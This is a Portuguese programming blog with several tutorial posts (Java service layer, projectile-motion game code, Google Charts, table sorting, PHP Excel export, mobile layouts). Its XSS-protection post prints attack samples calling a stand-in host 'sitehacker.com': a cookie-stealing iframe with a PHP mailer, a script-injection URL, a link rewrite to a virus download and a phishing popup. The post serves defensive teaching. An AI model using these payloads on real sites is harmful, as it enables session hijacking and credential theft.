Páginas

segunda-feira, 8 de junho de 2015

Introduzindo a camada 'Service' entre as camadas 'Controller' e 'DAO' de sua aplicação.

Todos nós sabemos da importância da camada 'DAO', ou seja, classes especializadas na comunicação com banco de dados. Isso promove uma série de benefícios: reutilização de código, isolamento etc. Porém é comum encontrarmos na internet exemplos de código onde as classes da camada 'Controller' (podem ser Servlets, ManagedBeans do JSF, Controllers do Spring MVC etc) acessam diretamente as classes DAO. Nesse artigo vou introduzir a importância da camada 'Service' entre as camadas 'Controller' e 'DAO'.

Vamos considerar o exemplo tradicional de transações bancárias. Nesse exemplo, será demonstrada a parte do sistema que faz uma transferência entre contas. Para essa operação, é preciso obedecer a seguinte regra de negócio: 'Antes de creditar na conta destino, deve-se verificar se há saldo disponível no valor da transferência na conta a ser debitada'.


Vejamos o código:

Entidade: Conta.java

 1 
 2 @Entity
 3 @Table(name = "de_conta")
 4 public class Conta {
 5 
 6     @Id
 7     @GeneratedValue(strategy = GenerationType.AUTO)
 8     private Long id;
 9     private BigDecimal saldo;
10 
11     //construtor padrao
12     public Conta() {
13     }
14 
15     //construtor com parametro
16     public Conta(Long id) {
17         this.id = id;
18     }
19 
20         //getters e setters
21 }
22 

DAO: ContaDAO.java

 1 
 2 public class ContaDAO {
 3 
 4     private EntityManager em;//injetado ou obtido pelo construtor
 5 
 6     public Conta loadById(Long id) {
 7         return em.find(Conta.class, id);
 8     }
 9 
10     public void atualizarSaldo(Conta conta) {
11         em.merge(conta);
12     }
13 }
14 

Servlet ContaController.java

 1 
 2 public class ContaController extends HttpServlet {
 3 
 4     private ContaDAO dao;//injeta ou instancia o DAO
 5 
 6     protected void service(HttpServletRequest request, HttpServletResponse response)
 7             throws ServletException, IOException {
 8         //carrega os saldos
 9         Conta destinatario = dao.loadById(Long.parseLong(request.getParameter("dest_id")));
10         Conta remetente = dao.loadById(Long.parseLong(request.getParameter("rem_id")));
11 
12         //verifica se tem saldo disponivel no remetente
13         BidDecimal valorATransferir = new BigDecimal(request.getParameter("valor"));
14         if (remetente.getSaldo().compareTo(valorATransferir) == -1) {
15             //saldo insuficiente
16             request.getRequestDispatcher("saldo_insuficiente.jsp").forward(request, response);
17         } else {
18             //saldo disponivel! debita o valor da conta do remetente
19             remetente.setSaldo(remetente.getSaldo.subtract(valorATransferir));
20             //credita na conta do destinatario
21             destinatario.setSaldo(destinatario.getSaldo().add(valorATransferir));
22 
23             //atualiza os novos saldos no banco
24             dao.atualizarSaldo(remetente);
25             dao.atualizarSaldo(destinatario);
26             request.getRequestDispatcher("sucesso.jsp").forward(request, response);
27         }
28     }
29 }
30 

Temos aí a nossa aplicação funcionando. Porém temos alguns problemas:

- A lógica de negócio está bem atrelada a API de Servlets (há várias chamadas aos métodos de HttpServletRequest) tornando traumático a implantação posterior de algum framework web nesse projeto.

- Não é possível realizar testes nesse código sem que esteja num ambiente web.

- Não podemos reutilizar esse código (verificação do saldo do remetente) em outros 'Controllers' (Servlets). Se quisermos por exemplo além da internet, permitir transferencias via aplicativos mobile com chamadas em nosso servidor java, teremos que 'copiar e colar' esse código no servlet que atenderá essa nova chamada e possivelmente responderá com um json, ao invés de encaminhar para uma página .jsp.

Ou seja, embora aparentemente o desenvolvimento seja 'mais rápido' fazendo o controller acessar diretamente o dao, os problemas dessa arquitetura aumentarão em muito o custo de manutenção e expansão de nosso sistema.


Vamos agora introduzir a camada Service (A Entidade e DAO não sofrem alterações):

Service: ContaService.java

 1 public class ContaServce {
 2 
 3     private ContaDAO dao;//injeta ou instancia DAO
 4     private Conta remetente;
 5     private Conta destinatario;
 6     private BigDecimal valorATransferir;
 7 
 8     public void transferir() throws Exception {
 9         destinatario = dao.loadById(destinatario.getId());
10         remetente = dao.loadById(remetente.getId());
11 
12         //verifica se hรก saldo disponivel no remetente        
13         if (remetente.getSaldo().compareTo(valorATransferir) == -1) {
14             //saldo insuficiente
15             throw new Exception();
16         } else {
17             //saldo disponivel! debita o valor da conta do remetente
18             remetente.setSaldo(remetente.getSaldo.subtract(valorATransferir));
19             //credita na conta do destinatario
20             destinatario.setSaldo(destinatario.getSaldo().add(valorATransferir));
21 
22             //atualiza os novos saldos no banco
23             dao.atualizarSaldo(remetente);
24             dao.atualizarSaldo(destinatario);
25 
26             //tudo ok
27         }
28     }
29     //getters e setters
30 }
31 

Servlet: ContaController.java (alterado)

 1 public class ContaController extends HttpServlet {
 2 
 3     private ContaService service;//injeta ou instancia Service
 4 
 5     protected void service(HttpServletRequest request, HttpServletResponse response)
 6             throws ServletException, IOException {
 7         //informa o Service os dados que ele precisa para executar a lรณgica
 8         service.setRemetente(new Conta(Long.parseLong(request.getParameter("rem_id"))));
 9         service.setDestinatario(new Conta(Long.parseLong(request.getParameter("dest_id"))));
10         service.setValorATransferir(new BigDecimal(request.getParameter("valor")));
11         try {
12             service.transferir();
13             request.getRequestDispatcher("sucesso.jsp").forward(request, response);
14         } catch (Exception e) {
15             request.getRequestDispatcher("saldo_insuficiente.jsp").forward(request, response);
16         }
17     }
18 }
19 

Pronto! Vamos aos benefícios dessa arquitetura:

- Agora seu service pode ser chamado independente da camada web! Seja Servlets, JSF, GWT, Vaadin etc. Não importa. A logica em Service desconhece os detalhes da camada externa. Assim você pode implantar e alternar entre vários Frameworks Web sem ter que alterar sua logica de negócio em Service.

- Voce pode reutilizar seu Service em diversos Servlets, aumentando assim a reusabilidade de seu código e futuras expansões.

- Voce pode inclusive invocar outros Services dentro de um Service.

- Você pode dentro de uma unidade de teste instanciar o Service e testar sua lógica, mesmo sem estar num ambiente web.

Convencido dessa arquitetura? Não é a toa que o padrão JEE (especificamente EJBs) forcem de certa maneira essa arquitetura. Você coloca sua lógica de negócio em EJBs (nossos Services) e esses EJBs podem ser injetados em Servlets ou ManagedBeans via @EJB. Porém mesmo em um container simples como o Tomcat, você pode se valer dos benefícios dessa arquitetura.

Porém ainda podemos melhorar ainda mais essa arquitetura. Num próximo artigo vamos introduzir a utilização de Interfaces para nossos DAOs e Services. Porque fazer nossos DAOs e Services implementarem interfaces?

Att,
Gustavo Marques

segunda-feira, 15 de julho de 2013

Proteja seu sistema contra: Ataques XSS




No artigo anterior dessa série abordamos o ataque de quebra de senhas por força bruta, e como podemos defender nossos sistemas contra esse ataque. Agora iremos considerar o ataque XSS.

Ataques XSS são comuns pois nem sempre é fácil detectar brechas nos sistemas que viabilizam esse ataque. Um exemplo de como esse ataque pode ser perigoso e afetar sites importantes, foi o caso envolvendo o Bradesco, em 2008.

Esse ataque consiste em se executar código malicioso (geralmente HTML, CSS e Javascript) sem o conhecimento do usuário do site. Vamos ver alguns exemplos desse ataque.

Inserção de código malicioso em campos tipo texto de formulários

Imagine uma aplicação onde se permita ao usuário fazer comentários, como em um fórum. Na página de novo comentário, o usuário hacker poderia inserir código malicioso no campo do comentário e então submeter ao servidor. Por exemplo, ele poderia inserir no comentário:

'Olá, parabéns pelo artigo.<script src='http://sitehacker.com/script_malicioso.js'></script>'

Então, toda vez que o comentário dele for exibido o script malicioso será executado sem o conhecimento do internauta que visualiza os comentários. 

Ataques via querystrings

Vamos imaginar um site que possua um campo busca na querystring, como a url a seguir:

http://exemplo.com/search.php?q=Um texto qualquer

Uma vez acessada essa url, a página retorna com o resultado: Sua busca por 'Um texto qualquer' não retornou nenhum resultado

O hacker poderia então montar a url maliciosa, como a seguir:

http://exemplo.com/search.php?q=<script src='http://sitehacker.com/script_malicioso.js'></script>

E o site retornaria: Sua busca por ' ' não retornou nenhum resultado.

Porém o código malicioso seria executado. O hacker então poderia pegar essa url modificada com código malicioso e envia-la por email para laranjas (pessoas que executariam o código malicioso sem conhecimento).

Exemplos de scripts maliciosos

Nos dois métodos acima (via formulário ou via querystring) o hacker poderia fazer o internauta executar o script_malicioso.js sem o seu conhecimento. Mas que código poderia ter esse script malicioso? Vamos ver 3 exemplos:

1- Acesso a cookies

O hacker poderia criar a página 'mail.php' em seu servidor:

<?php
if ($_GET['xss']) {
   mail('hacker@email.com','Cookies capturados', $_GET['xss']);
}
?>

Então o script_malicioso.js poderia ter o código:

document.write('<iframe width=1 height=1 src=http://sitehacker.com/mail.php?xss='+document.cookie+'></iframe>')

Isso faz com que o internauta, ao executar o script_malicioso.js sem saber, envie para a página http://sitehacker.com/mail.php os cookeis que ele tem armazenado em seu browser. A página mail.php por sua vez envia esse conteudo diretamente para o email do hacker. Se o cookie enviado for o identificador de sessão, tal como o PHPSESSID ou JSESSIONID, o hacker pode fazer o sequestro de sessão e utilizar o sistema como se fosse o internauta prejudicado.

2- Adulteração do site alvo

Outro exemplo de conteúdo de script_malicioso.js poderia ser:

window.onload = function() {
     var AllLinks=document.getElementsByTagName("a");
     AllLinks[0].href = "http://sitehacker.com/baixar_virus.exe";
 }

Esse script altera o atributo href do link para que ele acesse baixe o virus que o hacker preparou.

3- Obter a senha do usuário

Nesse exemplo, o hacker utiliza engenharia social. Ele poderia criar o seguinte código em script_malicioso.js:

window.open("http://sitehacker.com/nova_senha.php");

Isso faz com que seja aberta uma nova janela no navegador com a página nova_senha.php.

Então o hacker poderia criar em seu servidor a página nova_senha.php que simulasse o layout do site alvo, solicitando o internauta a modificar a sua senha por medida de segurança. Para isso a página maliciosa solicita a senha atual. De posse da senha atual, a página poderia envia-la para o email do hacker.

Como proteger seu sistema contra esse ataque?

Basicamente, o ataque XSS consiste em explorar brechas nos sistema que permitem envio de código malicioso, então precisamos identificar essas brechas e fecha-las.

O sistema não deve permitir que o texto contendo conteúdo malicioso do usuário seja executado. Para isso deve-se eliminar as tags nos comentarios enviados. Devemos tratar todas as variáveis recebidas pelo usuário. O PHP tem alguns métodos que nos ajudam nesse ponto, um deles é o html_entities(). Ele faz a conversão dos caracteres especiais do HTML, impossibilitando sua execução. Por exemplo, ele converte

<script src='http://sitehacker.com/script_malicioso.js'>

 para 

&lt;script src='http://sitehacker.com/script_malicioso.js'&gt;

impossibilitando assim sua execução.

Bibliotecas para o Java também possuem essa função, tal como o método 'escapeHtml' da classe org.apache.commons.lang.StringEscapeUtils.

Assim, para cada entrada do usuário, o sistema deverá eliminar possíveis tags ocultas que poderiam causar um ataque XSS.

atenciosamente,
Gustavo Marques

segunda-feira, 3 de junho de 2013

Trigonometria em Ambientes Virtuais

O uso de trigonometria em ambientes virtuais nos permite simular as forças da física com realismo. Vamos tratar nesse post do lançamento obliquo. Para saber o que é isso preparei logo abaixo um jogo que demonstra. Mude a força do lançamento e seu ângulo para obter diferentes resultados. esse jogo leva em conta uma força constante de gravidade atuando sobre y. Não considero uma força de resistência em x, como a resistência do ar no mundo real.

Lançamento de Projétil

Força: 50
Ângulo: 45°



Seu navegador não suporta HTML5!


O conceito é similar ao do jogo Angry Birds, amplamente conhecido. Alterações no ângulo e força alteram a altura máxima alcançada, o tempo da trajetória e o alcance. Para definir tudo isso esse jogo só precisa de 2 parâmetros: a força empregada no lançamento e o ângulo. Porém para representar graficamente um objeto em movimento nós precisamos, em um instante do tempo por todo o percurso, saber suas coordenadas em relação ao eixo x e y do plano cartesiano. Como extrair a coordenada (x,y) se temos somente a força e o ângulo? É aí que entra a trigonometria!

Vamos ver o gráfico para analisar as informações que temos no momento inicial do lançamento:



Se o usuário setou uma força de 50 e angulo de 45 graus, temos a figura acima. A ponta da seta representa onde o objeto deverá estar no final do primeiro período de tempo. Porém, essa localização representa um valor no eixo x e no eixo y, como mostra a figura abaixo:



Como achar essa posição (x,y)? Analise bem essa gravura. Ela te lembra alguma coisa? Triângulo retângulo! Veja abaixo:



Todo triângulo retângulo tem um ângulo reto de 90 graus, uma hipotenusa (o maior lado) e dois catetos: adjacente (o lado colado ao angulo de referência (45 graus)) e o oposto (o lado oposto a esse ângulo de 45 graus). Se acharmos as medidas desses catetos, temos então a localização x,y do objeto daquele instante no tempo. Como determinar as medidas dos catetos? Vamos utilizar as clássicas relações trigonométricas: 

O seno de um ângulo é igual ao cateto oposto a esse ângulo dividido pela hipotenusa. Conforme abaixo:



Já o cosseno de um ângulo é igual ao cateto adjacente a esse ângulo dividido pela hipotenusa. Conforme abaixo:



Assim, substituindo os valores, poderemos achar a força em y conforme abaixo:



Utilize uma calculadora científica para achar o seno de 45. Achamos a força atuante no eixo y! Agora para achar a força atuante em x, vamos utilizar a fórmula abaixo:



Pronto, temos agora a força atuante em x. Para achar as coordenadas devemos ter em mente que o movimento em x é um simples M.R.U. (Movimento Retilínio Uniforme). Isso quer dizer que a velocidade do deslocamento em x (da esquerda para a direita) não se altera pois nesse eixo não temos nenhuma resistência ao projétil lançado (não temos o ar nem empurrando ou criando resistência). Assim basta somar a força ao ponto original de x e multiplicar pelo tempo decorrido que teremos essa coordenada. Logo, se x começou no ponto 0 do plano cartesiano, x agora vale 35,3 após o primeiro período de tempo decorrido. Então a fórmula é essa: 

X = (Pos.emX.Original) + (Força.emX) x (Tempo.decorrido)

Substituindo os valores temos:

X = 0 + 35,3 x 1 = 35,3 (no primeiro período de tempo o projétil andou 35,3 em x)

X = 0 + 35,3 x 2 = 70,6 (no segundo período de tempo o projétil andou 70,6 em x)

X = 0 + 35,3 x 3 = 100,9 (no terceiro período de tempo o projétil andou 100,9 em x)

Ou seja, no terceiro período de tempo a coordenada em x terá se deslocado 100,9 em relação ao ponto original, e isso em uma velocidade constante.

Já para achar o ponto em Y é um pouco mais complicado, pois agora temos a força da gravidade atuando. O movimento em Y é um M.R.U.V. (Movimento Retilínio Uniforme Variado). É variado por que a velocidade varia ao longo do tempo. Ela vai desacelerando a medida que chega no ponto mais alto e acelera até o chão, tudo devido a força constante da gravidade. Assim no próximo instante de tempo a força no eixo y sofrerá alteração. Veja o gráfico abaixo:



Para calcular o ponto em y num determiado período do tempo a partir dessa força vamos usar a fórmula:

Y = (Pos.emY.Original) - (Força.emY) x (Tempo.decorrido) + (Força.Gravidade) x (Tempo.decorrido²)/2

Substituindo os valores temos (supondo uma força 10 na gravidade):

Y = 0 - 35,3 x 1 + 10 x 1²/2 = -30,3  (no primeiro período de tempo o projétil andou 30,3 em y. Observe que andou menos que x nesse mesmo período por causa da gravidade. O valor está negativo por que no plano cartesiano computacional, quanto menor o valor de Y mais alto o projétil vai. Isso se da porque as coordenadas 0,0 estão no canto superior esquerdo do monitor)

Y = 0 - 35,3 x 2 + 10 x 2²/2 = -50,6  (no segundo período de tempo o projétil andou 50,6 em y. Observe que andou menos que x nesse mesmo período por causa da gravidade)

Y = 0 - 35,3 x 3 + 10 x 3²/2 = -60,9  (no segundo período de tempo o projétil andou 60,9 em y. Observe que andou menos que x nesse mesmo período por causa da gravidade)

Comparando os valores tanto no eixo x como em y os três períodos de tempo chegamos a conclusão:

         

Perceba que enquanto no eixo X o projétil se move a uma velocidade constante, no eixo Y ele sofre desaceleração devido a gravidade. Em determinado momento a força da gravidade terá anulado totalmente a força em Y, fazendo com que o projétil comece a descer ao invés de subir.

Dessa forma, podemos simular o lançamento oblíquo com a ajuda da trigonometria algumas contas.

Segue o código do game no início:

<center>
        <h1>Lançamento de Projétil</h1>
        <script>
            
            //força e angulo do lançamento definido pelo usuario atraves do slider
            var xo = 50;
            var yo = 265;
            var forca = 50;            
            var forca_gravidade = 10;
            var t = 0;
            var dt = 0.2;
            var angulo = 45;
            var lancou = false;
            
        </script>
        <table>
            <tr>
                <td>
                    Força: <span id="forca_label">50</span><br/>
                    <div id="slider_forca" style="width: 100px;"></div>
                    <script>
                        $('#slider_forca').slider({min:10,max:100, value:50, slide:function(event, ui){  forca = parseInt(ui.value); $('#forca_label').html(ui.value); }} );
                    </script>
                </td>
                <td>
                    Ângulo: <span id="angulo_label">45°</span><br/>
                    <div id="slider_angulo" style="width: 100px;"></div>
                    <script>
                        $('#slider_angulo').slider({min:1,max:90, value:45, slide:function(event, ui){  angulo = parseInt(ui.value); $('#angulo_label').html(ui.value+'°'); }} );
                    </script>
                </td>
                <td>
                    &nbsp;<br/>
                    <input type="button" value="Lançar" onclick="lancou = true;"/>
                </td>
            </tr>
        </table>

        <br/>
        <br/>
        <canvas id="game_lancamento" width="416" height="302" style="border: 1px solid #000000;">
            <p>Seu navegador não suporta HTML5!</p>
        </canvas>
        <script >
            // cria o contexto grafico no canvas
            var drawingCanvas = document.getElementById('game_lancamento');
            var ctx = drawingCanvas.getContext('2d');

            var framecount = 0;


            // carrega imagens

            var bgReady1 = false;
            var bgImage1 = new Image();
            bgImage1.onload = function () {
                bgReady1 = true;
            };

            bgImage1.src = 'campo_1.png';

            var bgReady2 = false;
            var bgImage2 = new Image();
            bgImage2.onload = function () {
                bgReady2 = true;
            };

            bgImage2.src = 'campo_2.png';

            var bolaReady = false;
            var bolabg = new Image();
            bolabg.onload = function () {
                bolaReady = true;
            };

            bolabg.src = 'bola_golf.png';

            //objetos do jogo
            var bola = {    
                x:50,
                y:265,
                w:30,
                h:30    
            };




            // frame update
            var update_lancamento = function(modifier){
                if(lancou && bola.y <= 265){
                    var rad= parseInt(angulo) * Math.PI / 180;
                    var vxo = forca * Math.cos(rad);
                    var vyo = forca * Math.sin(rad);
        
                    bola.x = xo + vxo * t;
                    bola.y = yo - vyo * t + forca_gravidade * Math.pow(t,2)/2;
                    t = t + dt;
                
                }else if(lancou){
                    // bola já tocou o chão
                    lancou = false;
                    bola.x = 50;
                    bola.y = 265;
                    t = 0;
        
                }
    
            }

            //render game
            var render_lancamento = function(){
                //clear no canvas
    
  
                if (bgReady1 && bgReady2) {
                    ctx.beginPath()
                    if(lancou){
                        ctx.drawImage(bgImage2, 0, 0);
                    }else{            
                        ctx.drawImage(bgImage1, 0, 0);   
                        //desenha atrajetoria da bola conforme o angulo e força
                        ctx.fillStyle = 'rgb(255, 255, 255)';
                        ctx.strokeStyle = 'rgb(255, 255, 255)';
                        ctx.moveTo(bola.x+14, bola.y+14);
                        var rad= parseInt(angulo) * Math.PI / 180;
                        var vxo = forca * Math.cos(rad);
                        var vyo = forca * Math.sin(rad);
                        ctx.lineTo(bola.x+vxo+14,bola.y-vyo+14);
                        ctx.arc(bola.x+vxo+14, bola.y-vyo+14, 5, 0, Math.PI*2, true);
                        ctx.stroke();
                        ctx.fill();
            
                    }
                    ctx.closePath()
                }
                if (bolaReady) {
                    ctx.drawImage(bolabg, bola.x, bola.y);
                }
            }

            //função que irá controlar o game loop
            var main_lancamento = function () {
                var now = Date.now();
                var delta = now - then;
                update_lancamento(delta / 1000);
                render_lancamento();
                then = now;
            };

            //iniciando o game
            var then = Date.now();
            setInterval(main_lancamento, 70);
        </script>  
    </center>

Não esqueça de importar no <head> o jquery e o jquery ui

<head>
        <title>Jogo</title>
        <link href='http://code.jquery.com/ui/1.9.2/themes/redmond/jquery-ui.css' rel='stylesheet'/>
        <script src="http://code.jquery.com/jquery-1.9.1.js" type="text/javascript"></script>
        <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js" type="text/javascript"></script>
    </head>

Atenciosamente,
Gustavo Marques






quinta-feira, 28 de fevereiro de 2013

Gráficos dinâmicos com Google Charts


O Google possui um serviço muito interessante de geração de charts a partir de URLs. Vamos analisar esse serviço, os parâmetros necessários e os tipos de gráficos que ele disponibiliza.


Veja a imagem acima. Esse gráfico é gerado em tempo real ao acessar a url:
https://chart.googleapis.com/chart?cht=p&chs=500x250&chd=t:60,30,10&chl=PHP|JAVA|ASP

O Google interpreta esses parâmetros contidos na url para renderizar o gráfico desejado. Vamos analisar os parâmetros:

Parâmetro cht: Refere-se ao tipo do chart a ser gerado. No exemplo acima eu usei o 'p' de pizza. Outros tipos são os abaixo:

cht=p3: Pizza 3d


cht=bvs: Barras Verticais

                                                                   

cht=gom: Velocímetro


cht=lc: Linha


cht=r: Radar

                                       

cht=rs: Radar com linhas curvas

                                     
cht=v: Círculos


Parâmetro chs: Refere-se ao tamanho do gráfico em duas dimensões (chs=LARGURAxALTURA) Ex. chs=500X250

Parâmetro chd: Aqui teremos os valores do chart. Na url está definido assim: chd=t:60,30,10. Isso quer dizer que o primeiro elemento tem valor 60, o segundo 30 e o terceiro 10.

Parâmetro chl: Trata-se do label dos valores definidos no parâmetro anterior, separados por '|'. Na url está definido assim: chl=PHP|JAVA|ASP. Perceba que devem vir na ordem do parâmetro anterior, ou seja, nesse caso PHP terá valor 60 (pois ambos estão na primeira posição), JAVA tem valor 30 (segunda posição) e ASP valor 10 (terceira posição).

É claro que, visto se tratar de uma URL, podemos modificar esses valores e labels em tempo de execução via programação colocando, por exemplo, dados diretamente do banco de dados. Assim teremos uma forma fácil e prática de implantar rapidamente gráficos em nossos sistemas.

Vários sites importantes usam esse serviço, por exemplo o Baixaki. Veja abaixo:


Acesse o baixaki e selecione algum programa para baixar, clique com o botão direito do mouse em cima do gráfico para extrair a URL da imagem e verá que o baixaki usa o serviço do google charts.

Fica a dica.

Atenciosamente,
Gustavo Marques

terça-feira, 26 de fevereiro de 2013

Ordenar HTML table com javascript



Ordenar uma tabela da maneira tradicional (com order by na consulta no banco de dados) pode dar bastante trabalho. Precisamos receber a entrada do usuário sobre qual coluna ordenar e então usar essa coluna na cláusula order by. Além de trabalhoso isso exige várias idas ao banco, prejudicando a performance de todo o sistema. Um modo bem mais simples de se ordenar uma tabela é ordenar o <table> diretamente no HTML. Ao clicar no cabeçalho de cada coluna, a tabela inteira é ordenada por ela. Se clicar novamente na mesa coluna, então a ordem é invertida.


Faça o teste na tabela abaixo (clique nos nomes das colunas para ordenar):

id Nome Email Sexo
1 Gustavo programador.gustavo@gmail.com Masculino
2 Adriane adri@gmail.com Feminino
3 Bruno bruno@yahoo.com Masculino



Para fazer essa ordenação diretamente no HTML precisaremos de um plugin do JQuery: tablesorter.

Vamos ver como implementar. Veja o código:

<html>
    <head>
        <title>Teste</title>

       <!--Importa as bibliotecas necessárias-->
        <script src="http://code.jquery.com/jquery-1.8.3.js"></script>
        <script src="http://tablesorter.com/__jquery.tablesorter.min.js" type="text/javascript"></script> 

<style>
th{
cursor:pointer;
}
</style>

    </head>
    <body>
        <table  id="myTable" >
            <thead>
                <tr>                    
                    <th>id</th>
                    <th>Nome</th>
                    <th>Email</th>
                    <th>Sexo</th>
                </tr>
            </thead>
            <tbody>
                <tr>
                    <td>1</td>
                    <td>Gustavo</td>
                    <td>programador.gustavo@gmail.com</td>
                    <td>Masculino</td>
                </tr>
                <tr>
                    <td>2</td>
                    <td>Adriane</td>
                    <td>adri@gmail.com</td>
                    <td>Feminino</td>
                </tr>
                <tr>
                    <td>3</td>
                    <td>Bruno</td>
                    <td>bruno@yahoo.com</td>
                    <td>Masculino</td>
                </tr>
            </tbody>
        </table>
        
        <script>
            $(document).ready(function() 
            { 
                $("#myTable").tablesorter(); 
            } 
        ); 
        </script>
    </body>
</html>


Para que a ordenação ocorra, a tabela precisa ter as tags <thead> e <tbody> para orientar o script. O trabalho grosso o script já faz, agora podemos pesquisar os temas disponibilizados no site para melhorar a aparência da tabela, ou estilizar nós mesmos.

atenciosamente,
Gustavo Marques

segunda-feira, 25 de fevereiro de 2013

Exportando planilhas para Excel com PHP



Existem vários motivos para querermos exportar nossas listagens online para excel. Um deles é que, uma vez que os dados são carregados no excel ou libreoffice, podemos utilizar excelentes ferramentas desses programas tais como os poderosos filtros deles. Esses programas também permitem formatação na aparência do documento e, finalmente, os usuários estão acostumados com eles.


É bem simples a geração da planilhas com PHP. O segredo está na definição correta dos headers e em tratar a planilha como um <table> do HTML.

Vamos ver um exemplo:

<?php
//Informa ao browser que o tipo de documento será uma planilha do excel
header('Content-type: application/vnd.ms-excel');

//Força o download da planilha, o nome do arquivo será planilha.xls
header('Content-Disposition: attachment; filename="planilha.xls"');

//Monta a planilha
echo '<table>';

//cabeçalho
echo '<tr>';
echo '<td>Nome</td>';
echo '<td>Email</td>';
echo '<td>Sexo</td>';
echo '</tr>';

//conteudo

echo '<tr>';
echo '<td>Gustavo Marques</td>';
echo '<td>programador.gustavo@gmail.com</td>';
echo '<td>Masculino</td>';
echo '</tr>';

echo '<tr>';
echo '<td>Fernanda</td>';
echo '<td>fe@gmail.com</td>';
echo '<td>Faminino</td>';
echo '</tr>';

echo '<tr>';
echo '<td>Henrrique</td>';
echo '<td>h@gmail.com</td>';
echo '<td>Masculino</td>';
echo '</tr>';

echo '</table>';
?>

Ao acessar esse arquivo PHP o browser irá exibir a caixa de download. Baixe o arquivo e abra no seu programa preferido. Aberto no LibreOffice ele ficou assim:





Atenciosamente,
Gustavo Marques

segunda-feira, 4 de fevereiro de 2013

Layouts para Aplicativos Mobile



Hoje sem dúvida o acesso a internet através de dispositivos móveis, tas como smartphones e tablets, estão em alta. O baixo custo de alguns destes dispositivos possibilita que um público crescente acesse a internet. Naturalmente as empresas devem repensar a apresentação de seus sites para esse meio de acesso. Isso se dá por que a usabilidade de um dispositivo móvel é bem diferente de um computador tradicional.


Em um computador tradicional o espaço na tela fornece liberdade de layout e o poder de processamento possibilita o uso de plugins tais como o flash e o java para maior interatividade. Porém isso não ocorre em um dispositivo móvel, onde além do pequeno espaço de tela, possui recursos limitados. Enquanto num PC o mouse fornece precisão no click, telas touch dos dispositivos móveis precisam de muito mais espaço para os clicks, levando em conta o tamanho da superfície do dedo do usuário.

Assim, ao desenharmos telas das aplicações para mobile, é bom seguirmos alguns padrões de layout e usabilidade. Existem muitos padrões, mas nesse artigo só vou citar 2 deles: Galeria e Menu de Lista.

Padrão Galeria

No padrão Galeria temos os links dispostos em forma de icones grandes. São facilmente visualizados em uma tela pequena, também fornecem precisão no toque do usuário. 

Como deve ser:


Na parte superior, é comum um banner com a marca da empresa e algumas operações globais, tais como a busca.

Exemplos:






Padrão Menu de Lista

Nesse padrão os itens são apresentados em forma de lista. Ele é melhor quando forem muitos ítens. Muitos itens no padrão Galeria talvez exija uma grande quantidade de downloads de imagens dos itens.

Como deve ser:


Ao clicar em um item pode-se exibir um subitem com nova listagem.

Exemplos:









Pode-se perceber claramente que esses padrões são pensados para a facilidade de uso nos dispositivos móveis, onde a facilidade, praticidade e performance são prioridade.

Atenciosamente,
Gustavo Marques

Veja também

Related Posts Plugin for WordPress, Blogger...